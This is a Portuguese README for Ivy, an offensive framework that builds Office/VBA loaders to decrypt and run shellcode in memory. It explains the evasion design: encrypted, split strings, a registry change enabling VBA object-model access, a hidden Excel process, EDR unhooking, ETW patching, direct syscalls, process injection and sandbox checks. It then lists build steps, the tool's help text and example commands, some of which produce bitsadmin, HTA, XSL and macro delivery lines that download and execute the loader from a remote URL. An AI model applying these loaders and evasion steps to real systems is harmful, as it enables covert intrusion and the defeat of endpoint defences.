
Ivy é um framework de criação de payloads para a execução de código-fonte VBA (macro) arbitrário diretamente na memória. O loader do Ivy faz isso utilizando acesso programático no ambiente de objetos VBA para carregar, descriptografar e executar shellcode.
Para ver a versão mais recente do Ivy ou enviar um problema, consulte https://github.com/Tylous/Ivy.
Se você quiser saber mais sobre as técnicas utilizadas neste framework, bem como as medidas defensivas para ajudar a se defender contra ele, dê uma olhada no Artigo.
Ivy é um framework de criação de payload para execução de código-fonte VBA (macro) arbitrário na memória. O loader do Ivy faz isso abusando do acesso programático no ambiente de objetos VBA para carregar, descriptografar e executar shellcode. Essa técnica é o mais próximo possível de ser realmente sem arquivos, já que a maioria dos ataques sem arquivos hoje em dia requerem algum tipo de arquivo sendo gravado no disco, bypassando assim regras padrão baseadas em assinatura para detectar código VBA. Payloads VBA típicos têm as seguintes características:
Ao executar puramente na memória, essas características comportamentais dificultam a detecção por EDRs.
Os loaders do Ivy são criptografados usando criptografia RC4 (a criptografia AES causa muito inchaço e leva uma eternidade para o VBA descriptografar) e depois divididos em strings separadas, impedindo que qualquer sandbox reconheça essas strings como strings criptografadas que devem ser investigadas. Isso também impede que qualquer mecanismo de decodificação reconheça esses payloads como algo além de caracteres inúteis.
O loader do Ivy primeiro realiza uma consulta ao registro para ativar 'Confiar acesso ao modo de objeto do projeto VBA'. Esse valor de chave de registro é armazenado no modo de usuário, o que permite ao usuário modificar o valor sem exigir permissões elevadas. O valor do registro é alterado de zero para 1; se a chave de registro não existir, o Ivy a criará com o valor '1'. Com esse valor ativado, o acesso programático ao ambiente de objetos VBA é permitido a partir de um processo diferente.
Uma vez feito isso, o loader então criará um processo oculto do Excel e carregará as strings criptografadas em uma função VBA. Isso é feito usando ActiveX para simular as ações de GUI da mesma tarefa. Isso ajuda a contornar muitos controles tradicionais em vigor para monitorar a execução. Como resultado, a função de descriptografia e o shellcode são movidos de um buffer de memória para outro, nunca tocando o disco. Finalmente, o loader usa chamadas de comando-GUI e executa a função run, que simula o ato de clicar no botão de executar macro no painel GUI do VBA, iniciando a função de descriptografia, seguida pela execução real do shellcode.
IMPORTANTE
O endpoint alvo deve ter o Microsoft Office instalado e ativado para executar, pois o Ivy depende do abuso do acesso programático ao ambiente VBA do Microsoft Office.
Isso permite que o Ivy use chamadas de sistema de baixo nível para construir sua própria versão da função WriteProcessMemory do Windows, referenciando o endereço de memória direto e valores de registro indiretamente. O Ivy pode sobrescrever seções de memória que não são graváveis sem chamar nenhuma função de API de alteração de memória. Isso é feito devido a uma característica do WriteProcessMemory que altera temporariamente as permissões da região de memória para gravável (se você tiver privilégios suficientes, que temos, já que possuímos o processo). Ela escreve o valor e restaura as permissões originais sem chamar a função VirtualProtect, em vez disso chama automaticamente a syscall associada (NtProtectVirtualMemory).
O Ivy não utiliza sua própria versão do NtWriteVirtualMemory porque esse processo de alteração temporária das permissões de memória não ocorreria, o que significa que a proteção do endereço de memória específico não seria modificada e a execução falharia. Este é um 'recurso' que a Microsoft lançou para tornar os depuradores mais estáveis. Como os depuradores desejam modificar a memória em tempo real, eles podem simplesmente modificar uma seção sem ter que realizar múltiplas tarefas. (Consulte devblogs.microsoft.com para informações)
Vamos dar uma olhada na série de eventos que um EDR veria:
Uma vez que todos os hooks do EDR foram removidos, o loader então realiza sua ação normal para estabelecer uma sessão remota.
O Ivy aborda isso removendo os hooks de DLLs comuns do sistema que o EDR hooka, isso inclui:
Ao usar unhook com um tipo de payload Inject, o loader do Ivy primeiro removerá os hooks do processo do Office, removendo o EDR dele, e então removerá os hooks no processo injetado. Isso garante que ambos os processos estejam livres de hooks, impedindo que qualquer telemetria do processo pai e filho seja enviada ao EDR.
Usando a mesma técnica de unhook, o Ivy pode fazer patch de funções do ETW, impedindo que qualquer evento seja gerado pelo processo. O ETW utiliza Syscalls internas para gerar essa telemetria. Como o ETW é um recurso nativo do Windows, os produtos de segurança não precisam 'hookar' as syscalls do ETW para obter as informações. Como resultado, para prevenir o ETW, o Ivy faz patch de várias syscalls do ETW, limpando os registradores e retornando o fluxo de execução para a próxima instrução. O patch de ETW agora é padrão em todos os loaders; se você não quiser fazer patch do ETW, use a opção de linha de comando -noetw para desabilitá-lo em seu loader.
O Ivy foi desenvolvido com Go.
O primeiro passo, como sempre, é clonar o repositório. Antes de compilar o Ivy, você precisará instalar as dependências. Para instalá-las, execute os seguintes comandos:
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go
Então construa-o
go build Ivy.go
$ ./Ivy -h
___ ___ ___ ___ ___
|\ \ |\ \ / /||\ \ / /|
\ \ \\ \ \ / / /\ \ \/ / /
\ \ \\ \ \/ / / \ \ / /
\ \ \\ \ / / \/ / /
\ \__\\ \__/ / __/ / /
\|__| \|__|/ |\___/ /
\|___|/
(@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?
Usage of ./Ivy:
-Ix64 string
Path to the x64 payload
-Ix86 string
Path to the x86 payload
-O string
Name of output file
-P string
Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
-debug
Print debug statements
-delivery string
Generates an one-liner command to download and execute the payload remotely:
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
[*] macro - Generates an office macro that would download and execute a the loader remotely.
[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
-process32 string
The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
-process64 string
The full path to the x64 application to spawn. Please specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
-product string
Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
-sandbox
Enable sandbox evasion controls (i.e. checks if the system is domain joined)
-stageless
Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
-unhook
Unhooks EDR's hooks before loading payload
-url string
URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)
Ao gerar um loader com o Ivy, você precisa gerar um payload de 64 e 32 bits e fornecê-los com os argumentos de linha de comando -Ix64 e -Ix86. Isso ocorre porque o sistema operacional pode ser 64 bits, mas a versão do Office em execução pode ser de 32 bits; como resultado, o Ivy detectará a arquitetura adequada a ser usada antes de injetar o payload.
Além disso, ao gerar um loader existem dois tipos de payload. O primeiro, Inject, realiza um ataque de injeção de processo onde um novo processo é criado em estado suspenso e o shellcode é injetado no processo, antes de retomá-lo. Embora a injeção de processo possa ser útil e gere um processo que não é do Excel, os EDRs são muito aptos a detectar o ato de criar um processo suspenso para injetar, o que pode nos pegar. A opção mais furtiva é Local. Isso carrega o shellcode diretamente no processo atual do Office. A opção Local também vem com recursos adicionais para evitar detecção, utilizando chamadas diretas a algumas syscalls do Windows. Isso se deve ao ambiente VBA que nos permite definir e chamar a função exata (desde que tenhamos alinhado todos os registradores corretos antecipadamente) com base na pilha. Finalmente, o loader do Ivy neste tipo de payload tem uma chamada não documentada para executar shellcode, tornando mais difícil detectar a execução.
Com o modo Inject, o Ivy criará um processo em estado suspenso para injetar shellcode nele. Dependendo se o sistema é 32 bits ou 64 bits, ele criará um processo diferente. O Ivy vem com alguns nomes de processo padrão para criar, no entanto, estes podem ser alterados usando as flags process32 ou process64. Ao especificar o caminho, certifique-se de usar \\ para o caminho.
Em primeiro lugar, VOCÊ DEVE SEMPRE USAR o argumento -stageless. No entanto, se você precisar executar um payload staged, pode fazê-lo não usando o argumento -stageless. Ao usar -stageless, você pode usar shellcode bruto; no entanto, ao escolher executar um payload staged, é importante que, para tipos de payload Inject, o shellcode esteja formatado em VBA, e para tipos Local, o shellcode esteja formatado em C.
O argumento de linha de comando delivery permite gerar um comando ou string de código (no caso do macro) para puxar remotamente o arquivo de uma fonte remota para o host da vítima. Esses métodos de entrega incluem:
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless
Atualmente, há um problema conhecido com a remoção de hooks do processo injetado remoto. Uma solução alternativa atual é carregar o BOF unhook por enquanto.